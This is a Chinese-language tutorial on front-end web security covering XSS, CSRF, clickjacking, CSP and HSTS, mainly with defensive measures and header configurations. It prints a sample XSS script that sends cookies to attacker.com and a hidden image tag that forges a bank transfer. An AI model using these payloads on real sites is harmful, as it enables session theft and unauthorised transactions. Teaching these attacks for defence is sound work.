前端日常开发中常见的问题有XSS (跨站脚本攻击),CSRF (跨站请求伪造), 点击劫持等, 对应的防御措施有CSP (内容安全策略) 和 HSTS(严格传输安全)等。
XSS
- 概念
- 攻击原理
- 使用示例
- 防范措施
概念
XSS (跨站脚本攻击)是指攻击者将恶意的脚本代码注入到合法网页页面中,使得用户在访问页面时,执行恶意脚本,从而达到攻击者的恶意目的。
攻击原理
XSS 的攻击原理可以分为两步:
- 把代码注入到网站
- 让网站执行代码
攻击示例
XSS(跨站脚本攻击)是一种攻击手段,攻击者通过注入恶意脚本代码到受信任的网页中,使用户在浏览器中执行这些恶意脚本。以下是一个简单的XSS攻击示例:
假设有一个论坛网站,用户可以在帖子中发布评论。网站在显示评论时没有对用户输入进行充分的过滤和转义处理。
攻击者在评论中注入以下恶意脚本代码:
html
<script>
// 恶意代码,例如窃取用户的Cookie
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker.com/steal?cookie=" + document.cookie, true);
xhr.send();
</script>
当其他用户浏览这个帖子时,浏览器会执行这段恶意脚本代码,发送一个GET请求到http://attacker.com/steal
,并将用户的Cookie信息作为参数发送给攻击者。
这就是一个简单的XSS攻击示例。需要注意的是,这个示例假设网站没有对用户输入进行适当的过滤和转义处理,而在现实中,应该对用户输入进行严格的验证、过滤和转义,以防止XSS攻击的发生。
防范措施
为了防止XSS(跨站脚本攻击),可以采取以下防范措施:
- 输入验证和过滤:对用户输入进行严格的验证和过滤,确保只接受符合预期格式和内容的数据。可以使用白名单过滤器,只允许特定的HTML标签和属性,或者使用输入验证库来过滤和清理用户输入。
js
// 通过正则判断内容是否为html;
// 简单判断
const htmlRegex = /<[a-z][\s\S]*>/i,
-
输出转义 :在将用户输入显示在网页上之前,对其进行适当的转义处理。将特殊字符转换为HTML实体编码,例如将
<
转换为<
,将>
转换为>
,以防止浏览器将其解释为HTML标签或脚本。 -
使用安全的编码函数 :使用安全的编码函数来处理用户输入和输出,例如使用第三方库
domPurify
来转义HTML实体编码,或使用适当的编码库和框架来处理用户输入和输出。 -
设置HTTP头部 :设置
Content-Security-Policy
头部,限制页面可以加载的资源和执行的脚本。使用X-XSS-Protection
头部启用浏览器的内置XSS过滤器。 -
使用HTTP Only Cookie :将敏感信息存储在HTTP Only Cookie中,这样可以防止恶意脚本通过
document.cookie
来获取敏感信息。 -
使用CSP(内容安全策略):通过CSP来限制页面可以加载的资源和执行的脚本。使用CSP指令来限制外部脚本的加载,只允许从可信的域名加载脚本。
-
教育用户:提高用户的安全意识,教育他们不要点击可疑的链接,不要在不可信的网站上输入敏感信息,以及注意不要执行来自不可信来源的脚本。
domPurify 使用示例
domPurify是一个用于净化(sanitize)和过滤(filter)HTML的JavaScript库,用于防范XSS攻击。它可以帮助你安全地处理用户输入的HTML内容,移除潜在的恶意代码,只保留安全的HTML标签和属性。
以下是一个简单的domPurify使用示例:
- 首先,安装domPurify库。你可以使用npm进行安装:
bash
npm install dompurify
- 在你的JavaScript代码中,导入domPurify库:
javascript
import DOMPurify from 'dompurify';
- 使用domPurify来净化和过滤HTML内容。例如,假设你有一个用户输入的HTML字符串:
javascript
const userInput = '<script>alert("XSS");</script><p>Hello, <b>World!</b></p>';
- 使用domPurify的
sanitize
方法来净化HTML内容:
javascript
const sanitizedHTML = DOMPurify.sanitize(userInput);
sanitizedHTML
变量将包含被净化和过滤后的HTML内容。在上述示例中,sanitizedHTML
的值将是:
html
<p>Hello, <b>World!</b></p>
可以看到,<script>
标签被移除,而<p>
和<b>
标签被保留。
CSRF
- 概念
- 攻击原理和过程
概念
CSRF(Cross-site request forgrey)跨站请求伪造。它指利用用户已经登陆了目标网站的身份,在用户不知情的情况下,完成一些非法操作。
攻击原理和过程
CSRF 攻击本质是利用了HTTP协议一个漏洞,在HTTP协议中,浏览器发送的请求中包含了本次请求的来源地址。攻击者可以构造一个伪装请求,让服务器认为请求是合法的,因为HTTP请求中不会验证来源地址。
攻击过程如下:
- 用户登陆了某个网站,并在本地保存了登录信息,比如:cookie。
- 攻击者构造了一个恶意网站,该网站包含恶意代码。比如:表单
- 受害者在已经登陆的情况下,访问了恶意网站,这时浏览器会携带本站的cookie, 将请求发送到目标网站;
- 目标网站会认为该请求是合法的,并执行攻击者的操作。
攻击示例
CSRF(跨站请求伪造)是一种攻击手段,攻击者通过诱使用户点击链接或加载页面的方式,使用户在不知情的情况下向网站发送恶意请求。以下是一个简单的CSRF攻击示例:
假设有一个银行网站,用户可以通过访问http://bank.com/transfer?amount=1000&to=receiver
这样的URL来转账。如果用户已经登录了银行网站,那么这个请求将会成功。
现在,攻击者创建了一个恶意网站,网站中包含以下HTML代码:
html
<img src="http://bank.com/transfer?amount=1000&to=attacker" width="0" height="0" border="0">
当用户访问这个恶意网站时,浏览器会尝试加载这个img
元素,从而向http://bank.com/transfer?amount=1000&to=attacker
发送GET请求。如果用户此时已经登录了银行网站,那么这个请求将会成功,用户的银行账户将会向攻击者转账1000元。
这就是一个简单的CSRF攻击示例。需要注意的是,这个示例假设银行网站没有实施任何CSRF防御措施,而在现实中,大多数现代网站都会使用各种方法来防止CSRF攻击,例如使用CSRF令牌。
防范措施
在企业级应用中,为了防止CSRF攻击,可以采取以下通用措施:
-
使用CSRF令牌:为每个用户会话生成一个唯一的CSRF令牌,并将其嵌入到表单或请求中。服务器在接收到请求时验证令牌的有效性,如果令牌无效,则拒绝请求。这样可以确保请求是由合法的用户发起的,而不是来自恶意网站的CSRF攻击。
-
检查Referer头部:服务器可以检查请求的Referer头部,确保请求来自合法的源。然而,需要注意的是,Referer头部并不是100%可靠,因为它可能会被篡改或被某些浏览器禁用。
-
使用SameSite Cookie属性:将Cookie的SameSite属性设置为Strict或Lax,可以限制Cookie只能在同一站点的请求中发送,从而防止跨站点的CSRF攻击。
-
使用双重身份验证:要求用户在敏感操作之前进行双重身份验证,例如输入验证码、使用指纹识别或硬件安全密钥等。这样可以增加攻击者成功进行CSRF攻击的难度。
-
限制敏感操作的访问权限:只允许授权用户执行敏感操作,例如转账、更改密码等。确保只有经过身份验证的用户才能执行这些操作,从而减少CSRF攻击的风险。
-
定期更新和审查代码:定期审查应用程序的代码,确保没有存在安全漏洞或潜在的CSRF攻击点。及时更新和修复已知的安全问题。
点击劫持
- 概念
- 工作原理
- 防范措施
概念
点击劫持,也被称为用户界面(UI)重塑,是一种网络攻击手段,通过欺骗用户点击他们并未意识到的网页元素来进行恶意操作
工作原理
点击劫持的工作原理是,攻击者在用户可见的页面上方放置一个不可见的页面或HTML元素,这个元素通常被置于一个iframe中。用户认为他们正在点击可见的页面,但实际上他们点击的是被叠加在其上的不可见元素。这个不可见的页面可能是一个恶意页面,或者是用户并未打算访问的合法页面,例如,授权转账的用户银行网站页面
点击劫持的攻击方式有多种,例如"赞劫持"和"光标劫持"。赞劫持是一种操纵Facebook的"赞"按钮的技术,使用户"赞"了他们并未打算"赞"的页面。光标劫持则是一种改变用户所认知的光标位置的UI重塑技术
点击劫持可能会导致用户无意识地下载恶意软件,访问恶意网页,提供凭证或敏感信息,转账,或在线购买产品。因此,点击劫持是一种潜在的安全威胁,需要用户和网站管理员高度警惕。
防范措施
防御点击劫持的方法主要有以下几种:
-
使用X-Frame-Options HTTP头 :这是一种服务器端的防御方法。通过设置X-Frame-Options头部,可以控制网页是否可以被加载在iframe或frame中。这样可以阻止攻击者通过在iframe中加载你的网页来进行点击劫持攻击。例如,
X-Frame-Options: DENY
就表示浏览器将不允许页面被框架化,X-Frame-Options: SAMEORIGIN
则表示只允许页面在同源站点的框架中加载。 -
使用Content Security Policy (CSP) :CSP是一种强大的安全特性,可以用于防止各种类型的攻击,包括点击劫持。通过设置
frame-ancestors
指令,可以限制哪些网站可以嵌入你的网页。例如,Content-Security-Policy: frame-ancestors 'none'
表示不允许任何网站嵌入你的网页,Content-Security-Policy: frame-ancestors 'self'
则表示只允许同源网站嵌入你的网页。
以下是一个使用X-Frame-Options和Content Security Policy (CSP)进行防御点击劫持的nginx示例:
nginx
# 使用X-Frame-Options头部防止点击劫持
add_header X-Frame-Options SAMEORIGIN;
# 使用Content Security Policy防止点击劫持
add_header Content-Security-Policy "frame-ancestors 'self'";
- 使用JavaScript进行防御:这是一种客户端的防御方法。通过在每个页面中添加一个"frame-buster"脚本,可以防止页面被加载在iframe或frame中。这种方法的工作原理是检查当前页面是否被框架化,如果是,则将页面重定向到顶级窗口。以下是一个简单的"frame-buster"脚本的示例:
html
<style id="antiClickjack">body{display:none !important;}</style>
<script type="text/javascript">
if (self === top) {
var antiClickjack = document.getElementById("antiClickjack");
antiClickjack.parentNode.removeChild(antiClickjack);
} else {
top.location = self.location;
}
</script>
在这个示例中,如果页面没有被框架化,antiClickjack
样式将会被移除,页面将正常显示。如果页面被框架化,页面将被重定向到顶级窗口。
需要注意的是,以上这些防御方法都有其优点和缺点,没有哪一种方法可以单独提供完全的保护。因此,为了提供深度防御,最好是将这些方法结合起来使用。同时,也应该定期进行安全审查和测试,以确保防御措施的有效性。
CSP
- 概念
- 使用示例
- 优缺点
概念
内容安全策略(Content Security Policy,简称CSP)是一种用于增强网页安全性的技术。它主要是通过HTTP响应头中的Content-Security-Policy字段来实现,也可以通过meta标签来设置。CSP的主要作用是限制网页可以加载的资源(如JavaScript,CSS,图片等)以及这些资源的来源URL。CSP最初是为了减少跨站脚本(XSS)攻击的攻击面,后续版本的规范也对其他形式的攻击(如点击劫持)提供了保护。
CSP的工作方式是通过定义一系列的指令(directives),这些指令在Content-Security-Policy头部值中用分号分隔。每一个指令都定义了哪些资源可以被加载,以及它们可以被从哪些URL加载。例如,default-src 'self'
这个指令就表示只允许从同源URL加载资源。如果你想要在你的网站上启用CSP,你可以在你的服务器配置文件中添加相关的头部设置,如在Apache服务器中,你可以在httpd.conf或者.htaccess文件中添加Header set Content-Security-Policy "default-src 'self';"
。在Nginx服务器中,你可以添加add_header Content-Security-Policy "default-src 'self';"
此外,CSP还支持多种导航指令(Navigation directives),这些指令可以控制用户可以导航或提交表单的位置,限制一个页面可以由哪些父页面嵌入,以及一个页面可以通过何种方式启动导航。
总的来说,CSP是一种非常强大的安全工具,可以有效防止各种类型的攻击,包括XSS攻击和点击劫 持等。通过合理地设置CSP指令,可以大大增强网站的安全性。
使用示例
CSP,即内容安全策略,可以通过HTTP响应头或meta标签来设置。下面提供一些常见的CSP设置代码示例:
- 设置默认来源策略:只允许从同源URL加载资源。
html
Content-Security-Policy: default-src 'self';
在这个示例中,default-src 'self'
这个指令告诉浏览器只允许从同源URL加载资源。
- 设置图像来源策略:允许从同源URL和特定的CDN加载图片。
html
Content-Security-Policy: img-src 'self' cdn.example.com;
在这个示例中,img-src 'self' cdn.example.com
这个指令告诉浏览器允许从同源URL和cdn.example.com这个CDN加载图片。
- 设置严格的CSP策略:只允许从同源URL加载资源,并禁止加载任何对象。
html
Content-Security-Policy: default-src 'self'; object-src 'none';
在这个示例中,default-src 'self'
这个指令告诉浏览器只允许从同源URL加载资源,object-src 'none'
这个指令告诉浏览器禁止加载任何对象。
- 设置CSP报告策略:当CSP策略被违反时,浏览器会向指定的URL发送报告。
html
Content-Security-Policy: default-src 'self'; report-uri https://endpoint.example.com;
在这个示例中,report-uri https://endpoint.example.com
这个指令告诉浏览器当CSP策略被违反时,应该向endpoint.example.com这个URL发送报告。
这些只是CSP的一些基本示例,CSP提供了许多其他的指令和选项,可以用于满足各种不同的安全需求。
优缺点
内容安全策略(Content Security Policy,简称CSP)是一种用于增强网页安全性的技术,它有很多优点,但也有一些可能的缺点。
优点:
-
增强安全性 :CSP提供了一层额外的安全层,可以帮助检测和缓解某些类型的攻击,如跨站脚本(XSS)攻击和数据注入攻击Source 5。
-
灵活的源定义 :开发人员可以灵活地为不同类型的内容分别定义有效的源Source 5。
-
减少跨站脚本攻击的风险 :通过限制页面可以加载的资源以及这些资源的来源URL,CSP可以帮助减少跨站脚本(XSS)攻击的风险Source 3。
缺点:
-
实现复杂性:设置有效的CSP可能会比较复杂,因为它需要为每种类型的内容定义具体的策略。
-
可能导致过度阻塞:如果CSP没有被正确地配置,它可能会阻止合法的内容,从而影响网站的功能。
-
兼容性问题:虽然CSP被设计为向后兼容,但是在某些情况下,比如在某些版本的Safari浏览器中,如果设置了Content Security Policy头部,但是没有设置Same Origin头部,浏览器将会阻塞自托管的内容和站点外的内容,并错误地报告这是因为Content Security Policy没有允许这些内容。
总的来说,CSP是一种非常强大的工具,可以有效地增强网站的安全性,但是它的实现可能会有一定的复杂性,并且如果没有被正确地配置,可能会导致一些问题。因此,在实施CSP时,应该充分测试并谨慎配置,以确保它能够有效地提升网站的安全性,而不是阻碍网站的正常运作。
HSTS
- 概念
- 工作原理
- 使用示例
- 优缺点
概念
HTTP
严格传输安全(HTTP Strict Transport Security
,简称HSTS
)是一种网络安全策略机制,用于保护HTTPS
网站不受降级攻击和Cookie
劫持的威胁。通过使用HSTS
,网站服务器可以指示浏览器或其他客户端软件仅使用HTTPS
连接,并禁止使用HTTP
协议
工作原理
HSTS
的工作原理是,当你的浏览器尝试使用HTTP连接到一个启用了HSTS
的网站时,它会被重定向到一个HTTPS
网站。然后,浏览器会收到一个HSTS
头部。从此刻开始,你的浏览器会记住只使用HTTPS
连接到该网站,不再尝试使用HTTP
(这个时间在HSTS头部定义,通常是一年)
使用指南
HSTS头部可以包含三个指令:max-age
,includeSubDomains
和preload
。max-age
指令定义了浏览器应该缓存并应用给定HSTS
策略的时间长度。includeSubDomains
指令告诉浏览器应该将HSTS
策略应用到该网站的所有子域。preload
指令表示该网站已被添加到一个全局列表中,应该始终通过HTTPS访问。
HTTP Strict Transport Security (HSTS)可以通过在服务器响应头中添加Strict-Transport-Security头部来设置。下面是一些常见的HSTS设置代码示例
- 设置HSTS策略:告诉浏览器在接下来的一年内,只使用HTTPS连接到网站
md
Strict-Transport-Security: max-age=31536000;
- 设置包含子域的HSTS策略:告诉浏览器在接下来的一年内,只使用HTTPS连接到网站及其所有子域
md
Strict-Transport-Security: max-age=31536000; includeSubDomains;
- 设置预加载的HSTS策略:告诉浏览器在接下来的一年内,只使用HTTPS连接到网站及其所有子域,并且该网站满足HSTS预加载的要求。
md
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload;
优缺点
HSTS
的主要好处是可以帮助保护用户免受攻击,这些攻击目标是用户的HTTPS
连接。例如,HSTS
可以帮助你避免中间人攻击(Man-in-the-Middle
,简称MITM
),这种攻击利用SSL
剥离(SSL stripping
)强制浏览器使用HTTP
连接到网站,使攻击者可以嗅探数据包,并截取或修改敏感信息。
需要注意的是,HSTS
不是HTTPS
的替代品,而是它的补充。如果一个网站不支持HTTPS
,添加HSTS
头部将不会提供任何额外的安全性。因此,网站所有者在实施HSTS
之前,应该确保他们的网站使用HTTPS
(并且只使用HTTPS
)